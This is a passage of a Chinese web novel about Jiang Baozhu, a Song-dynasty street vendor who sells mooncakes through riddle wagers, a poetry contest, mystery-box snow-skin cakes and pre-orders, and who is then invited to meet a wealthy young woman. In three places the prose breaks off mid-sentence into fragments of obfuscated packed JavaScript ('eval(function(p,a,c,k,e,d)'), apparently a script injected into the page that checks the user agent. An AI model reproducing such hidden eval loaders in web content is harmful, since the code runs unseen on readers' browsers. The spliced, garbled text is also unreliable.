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口感绵密的豆沙在齿间一抿便化，甜味还未包围味蕾，咸蛋黄沙沙的口感便跃上舌尖，这滋味令他大赞：“这……怎又有咸味？好一个甜咸相宜，甜而不腻！” 路寅半晌没说话，兀自感受口中桂花绿茶的清韵。 “姜娘子这小饼花茶相融，清雅得很，可有名目？”他问。 姜宝珠垂眸略思，莞尔：“便唤作……‘嚼月小饼’罢。” “小饼如嚼月，中有酥与饴。”②路寅低声诵出典故，再看姜宝珠的眼漾开倾慕，“这苏大圣人的诗意，中秋佳节的韵味尽在这一枚小饼中了——娘子当真蕙质兰心。” 姜宝珠正要福身道谢，方羲怀便扬声道：“姜娘子，你这嚼月小饼怎生卖啊？” 他已经连吃两小块鲜肉月饼了，不好意思继续试吃，手便自觉摸腰间钱袋子。 姜宝珠笑眯眯答：“鲜肉和豆沙卵黄的皆六十六文一枚。花茶香的八十八文一枚。” 三学子齐声惊道：“甚么？！” 不止他们，桥上其余试吃或观望的食客也纷纷瞠目。 嫦娥娘娘哎，也太贵了吧！ 这嚼月小饼，嚼的莫不是真月亮？ 这般反应姜宝珠早就料到，她不动声色，只微微一笑：“这卖有卖价，过节，自然也有过节的玩法——诸位若能赢我，这小饼我分文不收！” 姜宝珠说着便从案下拿出一碟月饼，放在三学子面前。 “官人们可愿一试啊？” 22. 冰皮月饼 姜宝珠说的“玩法”其实就是“扑卖”，也就是博-彩。 大宋经济发达，博-彩成风，万物皆可赌，大到车马宅院，小到衣服头面。 赌-博当然不是好事，倾家荡产的赌徒不在少数，官家也早下令禁止扑卖，不过今儿过节嘛，小小怡情一下，不会有人较真的。 扑卖被禁前是商户惯用的营销手段，通过投色子比大小，掷铜钱猜正反等方式，赢的买家可以低价甚至免费得物。 “姜娘子想以何种法子做赌啊？”方羲怀问。 比大小，猜正反，转转盘姜宝珠通通不擅长，亏本的买卖当然不能做。她但笑不语，素手轻抬，示意盘中月饼。 学子们交换了下眼色，欧阳璞率先拿起一枚豆沙蛋黄馅的。 两手轻轻掰开，果然内有乾坤。 取出字条展开，欧阳璞眼前一亮：“好字！好俊逸的瘦金体！” 姜宝珠笑吟吟看向小妹。 琦姐儿眼睛亮亮的，起身一福：“谢官人谬赞。” 欧阳璞随即缓声念出笺上的句子：“团圆藏方正，一破见真章。” 他皱眉沉吟，身旁的方羲怀倒先反应过来：“这‘团圆’……莫不是指这圆圆小饼？” “正是！”得到启发，欧阳璞立马有了思路，“那‘藏方正’，指的便是这方方正正的字笺了。‘一破见真章’……掰开小饼便见字笺，难道这字笺就是谜底？” 他端详着手中月饼，顿悟：“哦，这字笺不偏不倚，正藏于小饼中心——谜底该是‘中’字！” “是了。”姜宝珠点头笑道，“官人既猜中这‘中’字，奴家这小饼权当彩头——愿官人来年登科及第，连中三元！” 她这话正说进日夜苦读的学子心坎里，欧阳璞立时满面春风，叉手郑重躬身：“学生诚愿娘子金口玉言！” 他又解开钱袋子，也不嫌贵了，痛痛快快数出六十六文钱：“好彩头自当讨要，岂能白得！” 姜宝珠推辞不成，笑盈盈收下了。 “三姐姐——”姜宝琦悄悄扯了扯姐姐衣袖，“若抽到这字谜的不是考试的学子，如何做解啊？” 姜宝珠朝小妹眨眨眼：“那便是‘中秋’的‘中’呗。” 姜宝琦后知后觉，内心对姐姐钦佩再涨两分的同时，又不免有些担忧： 这般内藏字笺的小饼，三姐姐大概准备了二三十枚，这字谜也不难猜，万一全被猜中，个个都不用付钱，她们岂不是要亏惨了？ 姜宝珠倒一点不担心，简单的字谜毕竟只占一小部分，其余的要么有些门槛，要么就是：一个木盒共有几条边？答：两条，里边和外边。 此类脑筋急转弯食客纵是答不上，也能会心一笑，甘愿买单——情绪价值本身也是值钱的，不是么。 看着讨到彩头，心满意足吃小饼的同窗，方羲怀也摩拳擦掌起来：“我来！” 拿过一枚鲜肉月饼掰开，他取出的小笺上只有三个字：飞花令。 方羲怀眉梢一挑，一副胜券在握的模样——哈，他学识比不得路兄欧阳兄，大杀四方个夜市总不在话下吧。 “姜娘子想以何字为令啊？” 姜宝珠从善如流：“主随客便。” “那——”方羲怀扬手高指，“自然是‘月’了。” “明月几时有，把酒问青天。”姜宝珠起句便十分应景。 方羲怀正要开口，却被身侧的路寅抢了先：“海上生明月，天涯共此时。” 姜宝珠望向空中圆月：“思君如满月，夜夜减清辉。” 约莫是某些字眼令春心萌动的学子会错了意，路寅眼眸微晃，定定看着姜宝珠道：“月上柳梢头，人约黄昏后。” ——这说的可是上元节男女浪漫约会的场景。 姜宝珠眼皮一跳，连忙道：“举杯邀明月，对影成三人。” ——噫吁嚱，小女子只想对月独酌，一人独美。 路寅目光稍黯，又道：“此时相望不相闻，愿逐月华流照君。” ——小生愿追随皎洁月光，照亮守护佳人丽影。 姜宝珠：“明月直入，无心可猜。” ——别了别了，姐的心就跟那广寒宫一样冷，早已断情绝爱…… 好几轮下来，路寅便顾不上以诗传情了——对得上来才要紧。他一日夜苦读的学子，总不好在诗词上落了下风。 又过几个回合，姜宝珠开始有些吃力了。 带“月”的诗她知道的其实还有几句，却不确定是哪朝哪代的，若脱口元曲清词，会不会自寻麻烦啊…… 见姜宝珠迟迟对不出来，方羲怀朗然一笑，张口咬向月饼：“姜娘子若对不上来，那我便——” “月既不解影，影徒随我身。” 一旁的琦姐儿开口了，她站起来走到姐姐身边：“官人既有友人相帮，奴家代三姐姐作答，总不算坏了规矩罢？” 方羲怀愣了下，扭头看路寅。 不是，明明是他上赶着孔雀开屏，怎就算帮我了？ 此刻也只能认下：“不算不算。姐妹自当同心嘛！” 姜宝琦微微一笑，继续道：“这带‘月’的诗词车载斗量，便是对到明日也难分胜负，不如改为首字为‘月’，前面诵过的诗句不可重复，如何？” 方羲怀心道“坏了”，这下他怕真要路兄帮忙了。 此时也只能硬着头皮上：“便依小娘子所言。” 姜宝琦：“月明星稀，乌鹊南飞。绕树三匝，何枝可依？” “月皎昭阳殿，霜清长信宫。”方羲怀口上对道，心中呜呼哀哉——诗仙救我！ 下一刻他哀声更甚——这小娘子虽年幼，一点不可小觑，诗仙大作她如数家珍不说，诗圣，诗鬼，温八吟等各大名家也是信手拈来啊。 十来个回合下来，方羲怀愈发吃力。搜肠刮肚对上一句“月寒秋竹冷，风切夜窗声”后，那小娘子依旧游刃有余，不假思索便道：“月皓皓兮风瑟瑟，更深霜落兮行人怯。” 方羲怀惊得手中月饼差点落地——这不是他们国子监齐博士的佚名诗吗！ 如此生僻小众的诗句都能脱口而出，这小娘子肚中笔墨可谓深不可测啊…… 他自叹弗如，拱手一揖：“小娘子真真才女，在下拜服了！” “哈哈子义，你输得可一点都不冤！”欧阳璞朗声笑道，“小娘子若为我们同窗，孙博士恐要欣喜若狂——路兄，你得意门生的位置也要不保喽！” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他捻出一枚通体冰白的月饼：“姜娘子，方才怎没见这般小饼？” 姜宝珠莞尔：“官人尝尝滋味如何？” 方羲怀没着急入口，细细端详这新奇独特的小饼：表皮不酥不油，凝冻样莹白。对月照看下，白皮隐隐透出茶色内馅——一块小饼，竟做出脂玉美感。 咬下一口，这软糯冰皮弹韧拉丝不说，竟还有一丝沁人心脾的微凉。 糯皮化开后，细腻绵密的内馅缓慢流出，茶香绽开在舌尖时，竟有一股牛乳的清甜！ 方羲怀完全被惊艳到了：“姜娘子，你这是甚么神仙小饼？怎会如冰酥酪一般口感！” “官人好品味，此乃嚼月小饼隐藏口味——冰皮小饼。”姜宝珠答道。 “真如冰酥酪一般？”欧阳璞惊奇道，“姜娘子，这冰皮小饼怎生卖？我也要一尝！” “既是隐藏款，自然不单卖的。”姜宝珠说着，又从车下拿出几盒月饼，“这冰皮小饼随机藏于套盒中，每一枚小饼从口味到形制都是独一无二的，内馅皆含足量牛乳——” 她顿住，指尖轻拍小饼礼盒：“加量不加价哦！” 欧阳璞愣了下：“我要——” 他刚要上前，周围食客已一拥而上。 “我要一盒！” “与我两盒——不，三盒！” 23. 开启预售 做月饼的想法冒出头时，冰皮月饼便在姜宝珠的选择之列。可调研采购时她又犯了愁——成本已然居高不下了，冰皮月饼还要加贵价牛奶，那定价不得一百文一个啊？ 鬼才会买呢！ 愁着愁着，姜宝珠又忽地福至心灵了：思路打开，不一定要卖啊。 珍品在什么情况下会更显珍稀？ 答：捉摸不定的爆率之下。 正因如此，上辈子的她买件二百的衣服抠抠搜搜，两千的卡池说抽就抽。 单买一个手办觉得不划算，连开十个盲盒便是大赚特赚—— 对啊，盲盒！ 干脆就做盲盒吧！ 准备一百盒套装，若其中二十盒含冰皮月饼，便只需要做二十枚——那就不需要多少牛奶了。 啊，她简直是小天才！ 自我陶醉完，姜宝珠撸起袖子就是干。只要二十枚，无所谓控制成本，手边食材想怎么用便怎么用。 于是姜宝珠忘情了，发狠了，灵感大爆发了，做出来每个冰皮月饼都是不重样的独一无二。 “中了，我这盒有冰皮小饼！”食客迫不及待地将月饼填入口中，惊喜更甚，“娘嘞，里头居然有两枚卵黄！” ——这是咸鸭蛋没用完，姜宝珠便做了双黄馅。 “娘子，娘子快来！”一年轻郎君兴奋地跟新婚夫人炫耀，“我中的这枚居然是红白双色的，好个鸳鸯小饼！” ——这是姜宝珠突发奇想，和面时加了点红曲米汁，揉出了双色饼皮。 “小鸭雏！阿娘你瞧，女儿这枚小饼竟是鸭雏模样！”小姑娘嚷着，一口便咬掉小鸭子的脑袋。 姜宝珠看得一哆嗦——做这枚月饼时她没用模具，是照着自家鸭鸭捏出来的形儿…… 桥上惊叫欢呼此起彼伏，声声都是姜记小饼的活广告：观望者愈发眼馋，也想试试手气；而那买中一枚的便想得一对，得了一对又想要两双——谁叫这冰皮小饼好看又好吃，还个个不一样，很难忍住不往多了收集啊！ 一百盒月饼一刻钟就卖得所剩无几，姜宝珠笑都不敢太放肆，生怕自己乐过头栽下桥去——一盒三百文，一百盒，就是三十贯钱啊！ 这么一会儿，她就入账三十贯啊！ “掌柜姐姐，敢问小饼礼盒可还有卖？”从暴富畅想中回过神，姜宝珠瞧见一穿斗篷的小男孩气喘吁吁立在摊前，年龄跟琦姐儿相仿。 她笑答：“小官人来巧了，还有最后一盒。” 男孩付了钱兴冲冲接过月饼盒打开，小脸瞬间垮下来：“没中那冰皮的……到底是运气不佳啊！” “磊哥儿此言差矣。”一妇人笑盈盈缓步而来，柔声道，“你赶上这最后一盒，已然好运矣。” “不错。”妇人夫君紧随其后，轻快接过话，“过满则亏，好运也须省着些用嘛。” 小男孩垂眸沉吟，重重点头：“父亲母亲说的是。” 他又向姜宝珠行过一揖，小大人一般：“恕某方才失礼发怨，还望掌柜姐姐见谅。” 姜宝珠乐了——真是个有教养的小公子。 她继而不动声色打量他身后双亲——妇人温柔慈爱，郎君开明耐心。 真是吉祥幸福的一家啊。 “小官人客气。”姜宝珠也福了福身，主动介绍起套装，“这小饼礼盒虽不含冰皮的，口味也全乎着呢：有甜口花茶，咸口豚肉，还有甜咸皆宜的豆沙卵黄——奴家私以为皆不逊于冰皮呢！” 小男孩眨眨眼，捡出一枚月饼来递给妇人：“母亲先请。” 妇人噙笑接过来，打量绿色饼皮：“想是花茶小饼……官人爱茶，尝尝滋味如何？” “娘子用罢，不必推让。”男子温和笑道，转而打量儿子手中的套盒——四枚月饼上的花纹字样正好组成“花好月圆”四字。 “好生清雅的小饼，比送来我府上的礼盒更别致。”他问姜宝珠，“娘子这姜记小饼可有果子铺？我怎从未见过？” 姜宝珠道：“告官人，奴家这桥头小摊是做煎角儿的，小饼只卖中秋这一日。” “哦？如此说来，这小饼乃中秋特制。”男子显然来了兴致，“可有甚么何典故或讲究？” 姜宝珠没着急说话，视线略过他腰间玉佩和手中那把题有诗词的折扇。 看这模样，像是个儒商。 上辈子她跟这类人打过交道——他们喜欢赚钱，也讲究情怀。还有那么些利义合一，商道酬信的追求。 姜宝珠微微一笑：“奴家一点拙技，谈不上典故讲究。这小饼仿满月形制，不过图个应景。今日与家人分食小饼时，倒生出些感触……” “中秋年年有，热闹总相似，人们何以如此热衷过节？今儿一家人掰饼时奴家才悟得：花好月圆不算圆，阖家团圆才是真圆满。” 月饼到底是什么时候，如何成为中秋符号的呢？姜宝珠在后世过过很多次中秋节，吃过很多月饼，却从未触动，也不曾深思。 而此生的第一个中秋节却告诉她答案。 “明年，往后的每一年中秋，我都要将这小饼做出来与家人分食。”姜宝珠唇角慢慢漾开笑意，“也愿官人一家年年有今日，共品团圆滋味。” “……” 摊前一家人只怔怔看着她，谁都不说话。 抱着月饼盒的小男孩突然“哇”的一声哭起来。 姜宝珠懵了。 难不成她说错话了？ “长姐不在，算甚么团圆！”男孩哭着扑进母亲怀里，闷声呜咽，“阿娘呜呜……长姐几时才能归家？我已经二百一十九日未见她了哇……” 妇人柔声安慰怀中小儿，又对姜宝珠歉然一笑：“娘子莫见怪。吾家还有一女，志在杏林，如今拜在京兆府一名医娘门下，正潜心修习呢。” 儒商深深叹息道：“衡儿总嫌小饼甜腻，今日若在，这豚肉小饼怕是能一口气吞三枚……” 他说着便偏过头，眼圈也红了。 “官人——官人莫忧心。”妇人连忙道——她也不容易，小的还没哄好，又得安慰大的。 “咱此刻便去漕运寻船托人，将这盒小饼捎与衡姐儿，可好？” 姜宝珠无声莞尔，为这一家人温情窝心的同时，也为那位不曾谋面的小娘子感到开心欣慰： 能在这样一个时代出远门求学，有所追求热爱，她父母何其开明有爱。 而且听她娘方才那语气，是真的很为女儿骄傲自豪呢。 再转念，姜宝珠笑意更深——自己不是也正拥有一样的幸运么…… 沉吟顷刻，她轻声开口：“若要寻漕船去京兆府，奴家倒有个更好的门路……” “我认识那城东镖局的人，他们下一趟急镖正往京兆府去，明日晌午出发，快马加鞭，不出五日必到。” “眼下豚肉馅的卖光了，明儿一早我便装一盒送去镖局，托他们捎与令千金，如何？” “好，那自然是好啊——多谢姜娘子出此良策！”儒商立时喜不自胜，叉手一礼后解下荷包，“除过明日小饼费用，娘子和镖局合该收些辛苦钱。” 他放下一小锭银子在摊前，且坚持不收找零。 姜宝珠只好收下，想了想，又从小男孩怀中的月饼盒中捡出一枚来。 手起刀落，她将小饼切成四块，分给三口人各一块后，将最后一小牙包回油纸中。 “明日，我便将这牙小饼放入套盒与令千金一并捎过去——一家人共分一枚饼，也算遥遥团圆了。” 儒商夫妇皆动容：“多谢姜娘——” “小娘子，明日的小饼我也预定！”有人急吼吼打断他们，“我家二十余口人今年终得团圆，合该好好分一分这团圆饼啊！” “我也要！”有人立马接道，“想来镖队也路过应天府，劳烦姜娘子再捎两盒可行？” “姜娘子，明日套盒里可还有冰皮小饼？有的话务必为我留些——不信那冰皮落不到我手中！” …… 食客一个接一个地预定起来，姜宝珠一时有些恍惚——本想今日能把月饼卖完就不错了，怎么预售这都开起来了？ 回过神后，她赶紧笑容满面地一一应下。 有有有！ 行行行！ 定定定！ ——谁会跟钱过不去啊！ 琦姐儿那厢却像早有预备一般，不慌不忙地拿出纸笔，细细记下每位食客预定的数量，口味，地址等信息。 姐妹俩忙活了好半天，连烟火腾空都不得空看。 直到满河水灯远去，桥上人流散开，姜宝珠才瘫坐到桥墩上，长长舒出一口气。 蛮有成就感地打量着空荡荡的灶车，她视线停在下层的提盒上。 对了，那位紫牡丹大孔雀——杜衙内怎的还没来？ 他当时还信誓旦旦，说她一撑起摊就到呢。 嗐，也罢。今儿中秋，他们那等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旁的不说，光盒子上那颗比眼珠子还大的红宝石，就足够买八百盒——不，够买八百个她这小摊了！ 大宝石虽豪气，盒子用料和雕纹却很清雅。顶盖掀开，里面居然还放着一温盘。 所谓温盘，是一种双层器皿，上面瓷胎薄，下层偏厚，中间可以加热水，食物放上面能一直热乎着。一般讲究些的酒楼设宴才会上这等餐具。 姜宝珠将小饼用油纸包得方方正正，细绳固定好，而后放入温盘合上提盒，双手递还小丫鬟。 她动作麻利又细致，侍女不动声色尽收眼底，随后丛袖中顺出一香囊：“小饼如何作价？” 姜宝珠摇摇头：“扑卖之物入贵口已是荣幸，怎好再收钱？权当与姐姐贺中秋了。” 春光眉心微动。 倒是个伶俐会说话的。 她淡淡道声谢，带上小丫鬟施施然走了。 见人走远，姜宝珠吁出一口气，一屁股坐回桥墩。 旁边的琦姐儿轻哼出一声，似有不屑。 “怎的？”姜宝珠看向小妹。 “没甚么……”姜宝琦嘟哝道，秀气双眉拧起来，“三姐姐方才不过客气话，换作旁人多少还是会付钱，怎的这越富贵的反倒越小气……” 她其实也不是计较这两个小饼钱，只是方才那侍女举手投足间优越感尽显，高敏感又自尊的小姑娘难免心里有点不舒服…… “无妨。”姜宝珠豁然一笑，抬手揽过琦姐儿肩膀，“咱是做生意的嘛，笑迎八方客，和气才能生财。” 她又转开话头：“你方才想与我说什么？” “哦——”姜宝琦嗖地直起身来，一扫不快，“三姐姐，你猜猜小饼礼盒定出去多少？” 看小妹一脸神秘兮兮又难掩兴奋，姜宝珠眉心微动：“约莫……五六十？” 姜宝琦不满咂舌——三姐姐这是瞧不起自己呢！ 姜宝珠估摸着再猜：“和今日卖出的差不离——一百盒？” “二百盒！”姜宝琦忍不住报出答案，笑容随即荡开，“不少人一下便约定三五盒——共计二百余盒！” 姜宝珠愣住，猛地吸了口气。 二百多盒？！ 那岂不是一口气卖出近千个月饼？！ 娘嘞，她这月饼卖爆了呀！ 24. 姑娘有请 烟花燃尽，水灯散去，汴河上人船立时少了许多。 靠岸正对州桥的一所画舫内，杜克柔懒懒倚在软塌上，一手轻摇金丝团扇。 隔着朦朦胧胧纱帷窗，桥上那两位小娘子似在为她演一出栩栩如生的灯影戏。 那小的不知说了句什么，大的登时愣了。 两人四目怔对一瞬，随即齐齐欢呼出声。 下一刻，她们又蛮有默契地掩口噤声。 ——可那份由心而发的欢喜根本掩不住，化作粲然笑容漾开在她们脸上，又流于手舞足蹈间。 那年长些的像是高兴得不知如何是好了，竟两手掐上小妹脖子，使劲晃了晃。 杜克柔不由轻笑出声。 也是难得。 难得见到因赚钱这般雀跃的小娘子了。 人总道女子应该温良贤淑，做生意这种事须又争又抢，免不得姿态狼狈。因此这钱啊，还是交于男子赚便好。 杜克柔偏不。 ——她不仅要做生意赚钱，还要与男子又争又抢。 钱可是个好东西。像她这般爱财敛财，野心勃勃的女子，合该越多越好…… “姑娘——” 春兰人未到声先至，须臾才绕过屏风走进船舱。 杜克柔瞟了眼小丫鬟手里的提盒，懒洋洋坐起身：“鸭羹买来了？” “未见鸭羹，那姜娘子今日买的是小饼。”春兰说着，身后小丫鬟已将提盒呈上矮几。 春兰掀开盒盖：“那小饼卖得恁好！仅余这两枚还是原做扑卖的。” “扑卖？”杜克柔眉心微动，垂眸打量食盒。 温盘内油纸打开，一股若有似无的桂花香气盈鼻而来。 又像是茶香？ 两枚圆圆小饼皆如孩童手掌般大小，形制却不相同——酥皮的更饱满些，上面以印着红色“中秋”二字。绿皮的更精细，上面竟是玉兔捣药的纹样。 一小小食摊，做出的东西还挺雅致。 春兰又道：“那娘子说这小饼内含字笺，想是做赌用的。” 杜克柔没说话，拿起那枚青绿小饼轻轻掰开，果然看见卷起的笺条。 她取出来展开，眉心又是一动。 这笔字……琮哥儿再活三世，怕也写不出。 “孔子，孟子有何不同？”春兰念出纸条上的字，蹙眉思索，“孔子主张‘仁’，孟子……则道‘人性本善’。” “这……有何难解？我这陪姑娘念书的丫头都答得出，若遇上个识文断字的，那姜娘子铁定亏本！” 杜克柔却不觉得：“只怕……这娘子是个剑走偏锋的。” 只是这“偏锋”如何做解，她一时也不得而知……摇摇头放下字笺，杜克柔将掰做两半的小饼递与春兰，又拿起另一枚酥皮的。 这一回，字笺上只有四个字。 “女子本色？”春兰偏偏头，“女子……幽娴贞静？贤良淑德？” 杜克柔没说话，定定看着手上字笺。 眸光微动间，有什么电光石火般骤然击中她心房。 ——女子，本为“好”…… “姑娘，姑娘？” 激荡心神被唤回，杜克柔抬眸，见丫鬟示意小饼：“可还要带与二哥儿？” 那混球儿赌气，席面间一口未动。杜克柔本想来瞧瞧这鸭羹是何等琼浆玉露，顺带捎一碗与他。 如今…… “罢了。”她将那四字字笺收进袖中，又将酥皮小饼放入提盒，“你们分食便好。” “谢过姑娘。”春兰福了福身，手上的小饼却没往口中送。 她向来不喜果子糕点，又或者说，大姑娘早将她的嘴养刁了。 这小摊之物…… 她将月饼放入温盘，递与一旁的小丫鬟：“你且慢慢吃。” 小丫头愣了下，受宠若惊：“多谢春兰姐姐——也谢姑娘恩赏！” 到底是年纪小，抵抗不住这香喷喷甜丝丝的，她接过小饼，径直咬下一口。 而后双眸圆睁，石化般一动不动。 春兰欲言又止：“若不合口，也不必勉强——” “好吃……”小丫头喃喃出声，咀嚼两下又重重点头，“春兰姐姐，好吃的！” 春兰半信半疑：“……当真？” 小丫头顾不得再回答她，小松鼠般啃食吞下半块小饼，手又朝温盘伸去—— 赶在人前，春兰眼疾手快地将另半块小饼拿回手里。 小心翼翼咬下小口，她眼睛也倏地瞪大：“好香啊！” “姑娘你瞧——”她将小饼横给杜克柔看，“这里馅尽是干桂花，外头饼皮一口下去全是绿茶香！” 杜克柔唇叶动了动，没做声，静静睇着两个丫鬟牛嚼般分吃小饼。 直至瞧见春兰将饼渣都拢入口中时，她嘴角抽了下。 这春兰可不是没见过世面的，平日挑嘴得紧，怎的半块小饼便吃迷糊了？ 难不成……真是美味？ 水葱样的指尖动了动，杜克柔不动声色地瞟向食盒。 不等她动作，一只手就伸过来，嗖地拿走了里头的酥皮小饼—— “春兰！” 春兰顿住，抬头看向自家姑娘。 咦？是错觉么？ 她怎的觉着姑娘这眼神，意在她手中这小饼呢…… “姑……姑娘？” “……” 杜克柔阖了下眼，平静开口：“明日，你明日再去姜娘子那食摊走一趟。” 春兰松出口气：“好嘞！” 她将半块酥皮小饼分给小丫鬟，又在心里腹诽自己多思。 ——就是说嘛，她家姑娘惯用顶好的，饮食上头更是食不厌精脍不厌细。 酒楼菜色尚且诸般挑剔，怎么可能破格吃小摊上的东西嘛！ - 按照原计划，姜宝珠本打算中月秋后休息一日的。 先前那五百个月饼做得人筋疲力竭，稀奇的是，如今要做近千个，她倒不觉得累了。 开玩笑，有的赚还累什么啊！ 这笔账都不用琦姐儿帮忙算，她心里门儿清：预定的二百盒月饼卖出去，入账便有六十贯。按照先前一百盒成本十三贯钱算，二百盒便净赚三十四贯钱。 加上前头那一百盒的收益，这个中秋节，她们共收入五十多贯。 ——这哪里是中秋节，分明是发财节啊！ 这五十贯钱仿佛吊在驴子眼前的萝卜，不止姜宝珠，姜家上下都干劲十足——连俩鸭鸭刨虫的精神头都涨了许多。 这两日，姜明远停了抄书，付惜音也放下针线，全家众志成城，齐心协力烤制月饼。 模具无需新做，红豆和面粉还剩下点，姜宝珠本以为这回做月饼的成本还能再省下一两贯，但很快发现不能行。 他们一家四口精力有限，两天做一千个月饼简直挑战极限——即便能做出来，品控也难以把握。 万一到时候食客不满，砸了好不容易攒起来的名气口碑，那可得不偿失了。 于是姜宝珠决定请帮工。 这话一出，她爹爹阿娘异口同声地不赞同。 倒不是舍不得让旁人赚这份钱，两口子还记得外头那邪门小贩仿他们珠儿煎角儿那事哩。 ——这小饼比煎角儿还要赚，万一帮工的留心眼学了去，也撑摊去卖，那可如何是好？ 姜宝珠听罢一笑，叫爹娘大可放心：想烤这小饼，首先得有个炉窑吧？ 她这炉窑也算独一份，不是那么好造的。 退一步说，即便做出炉窑，烤出一样的小饼，旁人怕是也卖不出这么高的价。 ——她在包装和营销上都花了大心思，又赶上节庆气氛到那儿，才将小饼卖到三百文一盒的。 中秋一过，谁又会花这么多钱买糕点呢？ 女儿这么一解释，夫妇俩便放下心来。 如今论及做生意，姜宝珠在家可是头号权威。想当初爹娘还不同意她摆摊呢，如今她想做什么卖什么，家里一概二话不说，全力配合。 对此姜宝珠还颇有些感慨：她家氛围这么好，父慈母爱的，可话语权和自主权依旧要靠自己努力争取。 唉，可见经济基础当真决定上层建筑啊…… 帮工很好找，一日三百文的工费没人不愿意做的。 姜宝珠也没张扬，除了郑婶子，只找来两位邻居嫂子和姐姐。都是做惯灶活家事的大姑娘小媳妇儿，不管是和面，做馅还是包制都能很快上手。 做到第一日太阳落山，姜家人连同帮工共烤出六百余个月饼。 托镖局帮忙送的姜宝珠亲自跑了一趟，其余的交与跑腿闲汉，按照地址一一送去各家各府上。 第二日清早，面包窑继续点火。做月饼的几人比前一日更熟练，不过晌午，四百来个月饼便纷纷出炉。 这一波小饼是食客预定去摊上自取的。于是姜宝珠美美补了一下午觉，醒来填饱肚子后，精神抖擞和琦姐儿推着灶车出门了。 巷中格外热闹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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笑话，她有什么好眼红的——这吴大郎只是成亲了，又不是发财了。 再说了，要真能待字闺中和爹娘长久相伴，那还真借这方婶子吉言了。 不成亲是有可能孤苦无依，也有可能枕金蹬银嘛。 所以赚钱，赚钱才是头等要紧事。 如此一想，姜宝珠推灶车的劲儿都足了许多，不一会儿便上州桥。 节过了，桥上人依旧不少，基本都是来取礼盒的食客。 近一百盒小饼没一会儿便分发完毕，为数不多的散装小饼也都零售出去。 灶车空荡荡，钱篓沉甸甸。 姜宝珠心里美得直冒泡。 荷包鼓了，胆儿也大起来——拼一拼凑一凑，她如今共有五六十贯钱。 不知够不够开一间小食铺？ 单说铺子租金的话，肯定是够了。普通的门脸铺面月租十几贯，偏僻一些坊角小店的几贯钱就能租到。 可开店的花销远不止租金：得花钱装修吧？灶台，桌椅，各类厨具得置办齐活吧？ 即便先不请帮工，每日运营所需的食材，燃料也都是花销。 还要交税，交行会费，免不了要一些打点钱。 看来开食铺的事急不得，还须从长计议。 若她手头现在有个百八十贯，应该能更有把握些。 可惜这月饼是个一锤子买卖，短时间内再想赚这么多，怕是难喽…… 姜宝珠这厢正苦心筹谋着，桥上忽而出现一颇眼熟的身影。 腰身挺拔，姿态端庄，正是中秋那日来过的侍女。 待人走近，姜宝珠主动起身，笑吟吟招呼：“姐姐妆安。不知前两日的小饼可还合贵人尊口？” 嘿，奇了。 明明是同一人，却一改上回傲然姿态，竟朝姜宝珠福了福身，笑道：“娘子做的小饼滋味好极了，那般清甜雅致的花茶馅，可谓满京独一份呢！” 合不合姑娘口味不知晓，毕竟全进了她肚子——她可是喜欢得紧。 姜宝珠意外受赞，唇角根本压不住：“能得姐姐这般赞誉，也算那小饼的造化！只是……” 她笑意微滞：“姐姐来得又不巧，小饼方才卖光了……” 侍女摇头莞尔：“我今日并不为贪嘴，只来传话：姜娘子若得空，能否移步潘楼街——” “我家姑娘有请。” 25. 黄金流淌 潘楼街是什么地界儿？ 若要类比后世的话，潘楼街或许该是CBD外加大型购物中心。 姜宝珠撑摊的州桥夜市也算黄金地带，可潘楼街不止有夜市昼市，还有医药街，服装街。东京城的金银丝帛交易中心，最大的瓦子桑家瓦子也在那一带。 哦，那边还有一条鹰鹘街，专门售卖珍稀飞禽走兽。 大约是临近皇城的缘故，那一带还有不少雄伟壮丽的屋楼，宽阔气派的店面，常有富商巨贾，高官使节，贵妇女眷出没。 笑吟吟的侍女向桥下一扬手，便见两名轿夫抬着一顶竹轿上来。 只能坐一人，琦姐儿自觉收摊往家走。直到下了桥，小姑娘还很不放心地频频回头瞧…… 脚程不远，不多时便到了。 竹轿落地，姜宝珠看到一扇厚重的紫檀木门。门面上没有招牌，只在一侧悬一块沉香木小匾，上面刻着“净容”二字。 净容？ 难不成这是家洗面行？ 没错，大宋已经有给人专门洗脸，卖洗面水的铺子了。 姜宝珠还从没去过，顿时好奇起来：估计和后世的美容院，皮肤管理中心差不多吧？ 手搭门上被磨得蹭亮的铜环，她轻轻叩响。 门很快打开，一位和春兰打扮相似的侍女出现，轻声细语地为她引路。 姜宝珠跟着人进门，首先看到一副巨大的座屏。若她阿娘在，定会对上头那水墨风的牡丹刺绣赞不绝口。 绕过屏风，眼前豁然开朗。姜宝珠被结结实实地震了一下。 ——若这是间后世的美容机构，一定是她消费不起的那种。 谁家把美容院开在园林里头啊！ 园林不很大，然碧水环绕，花木成荫，一步一景，处处可见主人家精巧心思。 前厅是待茶之所，设有一台乌木大案，案边的牡丹盆栽从盆到花，连枝带叶都堪称艺术品。 姜宝珠路过时不由多看了两眼——中央那朵的魏紫牡丹，跟大孔雀头上簪的好像啊…… 穿过抄手游廊，她脚步不自觉放轻。 这里应该就是主区了吧。 游廊两侧分布着一个个内间厢房，各有独立的出入口，保证绝对隐私。 房间门扉厚重，看不到内部装潢，姜宝珠复又打量起外部：白沙为水，青石微山，枯山水造景之间，一抹灵动身影受惊掠过。 姜宝珠本以为自己眼花看岔了，可下一刻便听见鹿鸣呦呦…… 侍女一直引人走到最里侧的厢房，客气道稍候。 姜宝珠入内后又轻轻呼出一声：这应该就是VIP室了吧。 房间很大，布置极为清雅简洁。房中有一张紫檀木美人榻，旁边设莲花造型的银质承盘，上面多是清洁工具。 